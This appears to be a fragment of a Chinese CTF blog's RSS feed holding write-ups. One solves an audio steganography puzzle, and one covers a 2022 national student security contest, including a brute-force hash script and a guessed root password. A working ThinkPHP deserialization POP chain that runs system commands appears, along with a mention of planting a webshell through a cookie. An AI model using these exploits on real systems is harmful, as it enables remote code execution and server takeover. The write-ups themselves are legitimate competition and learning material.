  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>写入cookie执行，完成种马</p>
<p><img
  src="/925ae0/2025_ZJ_TGJ_9.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="2461" height="777"
/>
</p>
<p>蚁剑连接，在c:\users\administrator\desktop下找到flag</p>
]]></content:encoded><category>勒索病毒</category><category>反序列化</category></item><item><title>听听你的声音-音频类Misc</title><link>https://h4cker.zip/c621b1/</link><pubDate>Fri, 16 Aug 2024 17:01:37 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/c621b1/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>题目附件：https://wwaw.lanzoub.com/iXguU27kjmlc</p>
<p>很少见到音频杂项，记录一下</p>
<p>所用工具：</p>
<p>MP3Stego（用于提取mp3音频文件的关键信息）：https://github.com/fabienpe/MP3Stego</p>
<p>silenteye（用于LSB音频隐写）：https://github.com/TajangSec/silenteye</p>
<p>打开附件，总共有两个音频</p>
<p>part1.wav里是丁真，雪豹！</p>
<p>part2.mp3里是一段音乐</p>
<p>频谱图里没有明显的暗示信息，比如高低频率代表0、1之类</p>
<p>这里使用silenteye提取part1.wav的信息</p>
<p><img
  src="/c621b1/tktknideugyb2.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="1132" height="517"
/>
</p>
<p>得到</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">++++++++<span class="o">[</span>&gt;&gt;++&gt;++++&gt;++++++&gt;++++++++&gt;++++++++++&gt;++++++++++++&gt;++++++++++++++&gt;++++++++++++++++&gt;++++++++++++++++++&gt;++++++++++++++++++++&gt;++++++++++++++++++++++&gt;++++++++++++++++++++++++&gt;++++++++++++++++++++++++++&gt;++++++++++++++++++++++++++++&gt;++++++++++++++++++++++++++++++<span class="o">&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;</span>&lt;-<span class="o">]</span>&gt;&gt;&gt;&gt;&gt;&gt;&gt;&gt;++++.&lt;++++++++.---.<span class="o">&lt;&lt;&lt;</span>&lt;.&gt;&gt;&gt;&gt;++++++.------.&gt;+++++.<span class="o">&lt;&lt;&lt;</span>&lt;&lt;.&gt;&gt;&gt;&gt;++++.&gt;------.<span class="o">&lt;&lt;&lt;</span>&lt;&lt;.&gt;&gt;&gt;&gt;-----.+++++.+++++.-------.&gt;&gt;------.&lt;&lt;+.---.&gt;-----.</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>明显是brainfuck编码，解码后得到</p>
<p><code>the key is dingzhen</code></p>
<p>密码是dingzhen</p>
<p>丁真！</p>
<p>使用MP3Stego工具通过获得的密码解密part2.mp3文件</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">.<span class="se">\D</span>ecode.exe -X -P dingzhen part2.mp3</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>会在目录内生成一个part2.mp3.txt文件，里面就是flag：<code>flag{Let_us_keep_1t_s1mp!e}</code></p>
]]></content:encoded><h:img src="https://h4cker.zip/c621b1/tktknideugyb.webp"/><enclosure url="https://h4cker.zip/c621b1/tktknideugyb.webp"/><category>Misc</category><category>音频</category></item><item><title>第十五届全国大学生信息安全竞赛部分WriteUp</title><link>https://h4cker.zip/4b4c66/</link><pubDate>Sun, 29 May 2022 22:32:43 +0800</pubDate><guid isPermaLink="true">https://h4cker.zip/4b4c66/</guid><description/><content:encoded xmlns:content="http://purl.org/rss/1.0/modules/content/"><![CDATA[<p>做了10个，都是烂大街的题目，分数很低。CTF榜单186，以为稳进分区赛了。理论题算上变一千五百多名，华东南二百多名，进不去了，WriteUp也不想上传了。</p>
<h2 id="crypto">Crypto<a class="anchor" href="#crypto">#</a></h2>
<p>不是密码选手，但密码非预期搞出来几个</p>
<h3 id="签到电台">签到电台<a class="anchor" href="#签到电台">#</a></h3>
<p>关注公众号给的提示“弼时安全到达了”，查找这几个字的中文电码，然后和题目给的密码本里的前28位密码逐位相加除以10取余。如下：</p>
<p><img
  src="/4b4c66/15DXSCTF_crypto_qiandaodiantai.webp"
  alt=""
  class="zoomable"
  loading="lazy"
  decoding="async" width="637" height="115"
/>
</p>
<p>把取余后的，去掉空格后传入msg就行：<code>/send?msg=</code></p>
<h3 id="iso9798">ISO9798<a class="anchor" href="#iso9798">#</a></h3>
<p>nc上之后，会给一个sha256之后的字符串，和部分明文，让求出前四位，用以下脚本即可得到前四位</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">hashlib</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nb">hash</span><span class="o">=</span><span class="s1">&#39;加密后的&#39;</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">sss</span><span class="o">=</span><span class="s1">&#39;部分明文&#39;</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">table</span><span class="o">=</span><span class="s1">&#39;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz&#39;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="k">for</span> <span class="n">ch1</span> <span class="ow">in</span> <span class="n">table</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">for</span> <span class="n">ch2</span> <span class="ow">in</span> <span class="n">table</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">for</span> <span class="n">ch3</span> <span class="ow">in</span> <span class="n">table</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">            <span class="k">for</span> <span class="n">ch4</span> <span class="ow">in</span> <span class="n">table</span><span class="p">:</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">                <span class="n">hashvalue</span><span class="o">=</span><span class="n">sha256</span><span class="p">((</span><span class="n">ch1</span><span class="o">+</span><span class="n">ch2</span><span class="o">+</span><span class="n">ch3</span><span class="o">+</span><span class="n">ch4</span><span class="o">+</span><span class="n">sss</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">                <span class="k">if</span> <span class="n">hashvalue</span><span class="o">==</span><span class="nb">hash</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">                    <span class="nb">print</span><span class="p">(</span><span class="n">ch1</span><span class="o">+</span><span class="n">ch2</span><span class="o">+</span><span class="n">ch3</span><span class="o">+</span><span class="n">ch4</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">                    <span class="n">quit</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>求出前四位后，填入。然后会要求输入128字节的数字串，这里随便输入就行，然后返回一个96位字节的字符串。将这个字符串每32位分成一段，总共三段分别为rA、rB、B，然后将rB和rA拼接后传入。举个例子，这个96长度的字符串为112233，传入2211即可，传入后就出flag</p>
<h3 id="基于挑战码的双向认证">基于挑战码的双向认证<a class="anchor" href="#基于挑战码的双向认证">#</a></h3>
<p>读了半天文档，就是让补全功能验证模块，我不会，也看不懂那个C语言。ssh连接：<code>ssh player@IP -p port</code>，密码也是player，连上后乱翻目录翻到了root发现能进去，闲的没事翻来翻去，然后找到了flag，如下</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl"><span class="nb">cd</span> /root/cube-shell/instance/flag_server
</span></span><span class="line"><span class="ln">2</span><span class="cl">cat flag1.txt
</span></span><span class="line"><span class="ln">3</span><span class="cl">cat flag2.txt</span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">bash</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<h3 id="基于挑战码的双向认证2">基于挑战码的双向认证2<a class="anchor" href="#基于挑战码的双向认证2">#</a></h3>
<p>flag就是上面那个flag2</p>
<h3 id="基于挑战码的双向认证3">基于挑战码的双向认证3<a class="anchor" href="#基于挑战码的双向认证3">#</a></h3>
<p>放这题的时候，官方好像发现了前两道没做权限验证的点。于是这个题加了权限验证，找到flag无法查看，这里本来没有思路，提权也失败。在尝试获取root权限时，<code>su</code>指令切换用户，尝试了很多密码，自己的kali默认密码是toor，于是就试了一下，没想到成功了。然后直接查看flag2就行，这个系列出的很奇怪，预期就是补全客户端的验证模块，几个朋友也是预期做的。但是这个非预期太简单了，几道题没啥意义了，出得很奇怪</p>
<h2 id="web">Web<a class="anchor" href="#web">#</a></h2>
<h3 id="ezpop">Ezpop<a class="anchor" href="#ezpop">#</a></h3>
<p>参考这个https://www.freebuf.com/vuls/321546.html</p>
<p>把脚本里的Poc里dir命令改成<code>cat /flag.txt</code>即可，如下</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">namespace</span> <span class="nx">think</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="k">abstract</span> <span class="k">class</span> <span class="nc">Model</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">        <span class="k">private</span> <span class="nv">$lazySave</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="k">private</span> <span class="nv">$data</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="k">private</span> <span class="nv">$exists</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">        <span class="k">protected</span> <span class="nv">$table</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">private</span> <span class="nv">$withAttr</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">        <span class="k">protected</span> <span class="nv">$json</span> <span class="o">=</span> <span class="p">[];</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="k">protected</span> <span class="nv">$jsonAssoc</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="k">function</span> <span class="fm">__construct</span><span class="p">(</span><span class="nv">$obj</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">lazySave</span> <span class="o">=</span> <span class="k">True</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">data</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;whoami&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;cat /flag.txt&#39;</span><span class="p">]];</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">exists</span> <span class="o">=</span> <span class="k">True</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">table</span> <span class="o">=</span> <span class="nv">$obj</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">withAttr</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;whoami&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span><span class="s1">&#39;system&#39;</span><span class="p">]];</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">json</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;whoami&#39;</span><span class="p">,[</span><span class="s1">&#39;whoami&#39;</span><span class="p">]];</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">jsonAssoc</span> <span class="o">=</span> <span class="k">True</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="k">namespace</span> <span class="nx">think\model</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">    <span class="k">use</span> <span class="nx">think\Model</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">class</span> <span class="nc">Pivot</span> <span class="k">extends</span> <span class="nx">Model</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="k">namespace</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="k">echo</span><span class="p">(</span><span class="nx">base64_encode</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="k">new</span> <span class="nx">think\model\Pivot</span><span class="p">(</span><span class="k">new</span> <span class="nx">think\model\Pivot</span><span class="p">()))));</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
